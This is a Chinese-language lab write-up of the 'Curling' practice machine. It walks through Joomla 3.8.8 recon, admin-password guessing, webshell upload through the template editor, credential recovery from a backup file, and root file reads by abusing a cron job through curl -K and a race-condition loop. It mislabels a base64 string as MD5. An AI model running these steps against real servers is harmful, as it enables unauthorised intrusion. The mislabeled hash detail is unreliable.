Curling靶机渗透
字数 1370 2025-08-27 12:33:54
Joomla 3.8.8 渗透测试实战教程:从信息收集到Root权限获取
1. 目标环境概述
目标系统:Ubuntu Linux (基于OpenSSH 7.6p1版本判断)
Web服务:Apache 2.4.29
CMS系统:Joomla 3.8.8
开放端口:
- 22/tcp (SSH)
- 80/tcp (HTTP)
2. 初始信息收集
2.1 使用Nmap扫描
nmap -v -sC 10.10.10.150
扫描结果:
- SSH服务运行在22端口
- HTTP服务运行在80端口,使用Joomla CMS
2.2 Joomla版本识别
使用joomscan工具识别Joomla版本:
joomscan -u http://10.10.10.150/
扫描结果显示:
- Joomla版本为3.8.8
- 管理员后台地址:
http://10.10.10.150/administrator/ - 可目录遍历的路径:
/administrator/components/administrator/modules/administrator/templates/images/banners
3. 漏洞利用路径
3.1 密码发现过程
-
检查网页源代码,发现注释中的线索:
<!-- secret.txt --> -
访问
secret.txt获取MD5加密字符串:Q3VybGluZzIwMTgh -
解密得到密码:
Curling2018! -
结合页面上的作者信息"Floris",尝试后台登录:
- 用户名:Floris
- 密码:Curling2018!
3.2 通过模板管理上传Webshell
-
登录Joomla后台后,导航至:
Extensions -> Templates -> Templates -
选择"Beez3 Details and Files"模板
-
点击"New File"创建PHP文件
-
写入Webshell内容(如PHP反向连接代码)
-
访问Webshell:
http://10.10.10.150/templates/beez3/webshell.php
4. 权限提升:用户权限
4.1 查找用户凭证
-
在
/home/floris目录下发现password_backup文件 -
分析文件头
425a68,识别为Bzip2压缩文件 -
解压文件:
bzip2 -d password_backup.tar.bz2 -
获取SSH凭证:
- 用户名:floris
- 密码:5d<wdCbdZu)|hChXll
4.2 获取user.txt
使用获取的SSH凭证登录后,查看用户flag:
cat /home/floris/user.txt
5. 权限提升:Root权限
5.1 分析定时任务
-
监控进程变化:
ps -ef > a.txt ps -ef > b.txt diff a.txt b.txt -
发现cron定时任务执行以下命令:
/bin/sh -c sleep 1; cat /root/default.txt > /home/floris/admin-area/input
5.2 利用curl -K参数读取任意文件
-
创建恶意输入文件
1.txt:url = "file:///root/root.txt" -
通过竞争条件替换input文件:
while true; do cp -p /tmp/1.txt /home/floris/admin-area/input;done; -
定时任务会使用curl读取我们指定的文件:
curl -K /home/floris/admin-area/input -
结果会写入report文件,查看root flag:
cat report
6. 关键知识点总结
- 源代码审查:HTML注释中常包含敏感信息
- 弱密码利用:结合上下文信息猜测密码
- Joomla模板漏洞:通过模板管理功能上传Webshell
- 文件头分析:识别文件类型(如Bzip2压缩文件)
- 进程监控:通过比较进程快照发现定时任务
- 竞争条件利用:在正确时机替换关键文件
- curl参数注入:利用-K参数读取任意文件
7. 防御建议
- 删除HTML注释中的敏感信息
- 使用强密码策略,避免可预测的密码
- 限制Joomla后台的管理功能,特别是模板编辑
- 定期审计cron任务,确保没有不安全的操作
- 对敏感文件设置适当的权限
- 更新Joomla到最新版本,修复已知漏洞
8. 参考资源
- Joomla渗透-权限获取与维持
- Joomla官方安全公告
- OWASP Web安全测试指南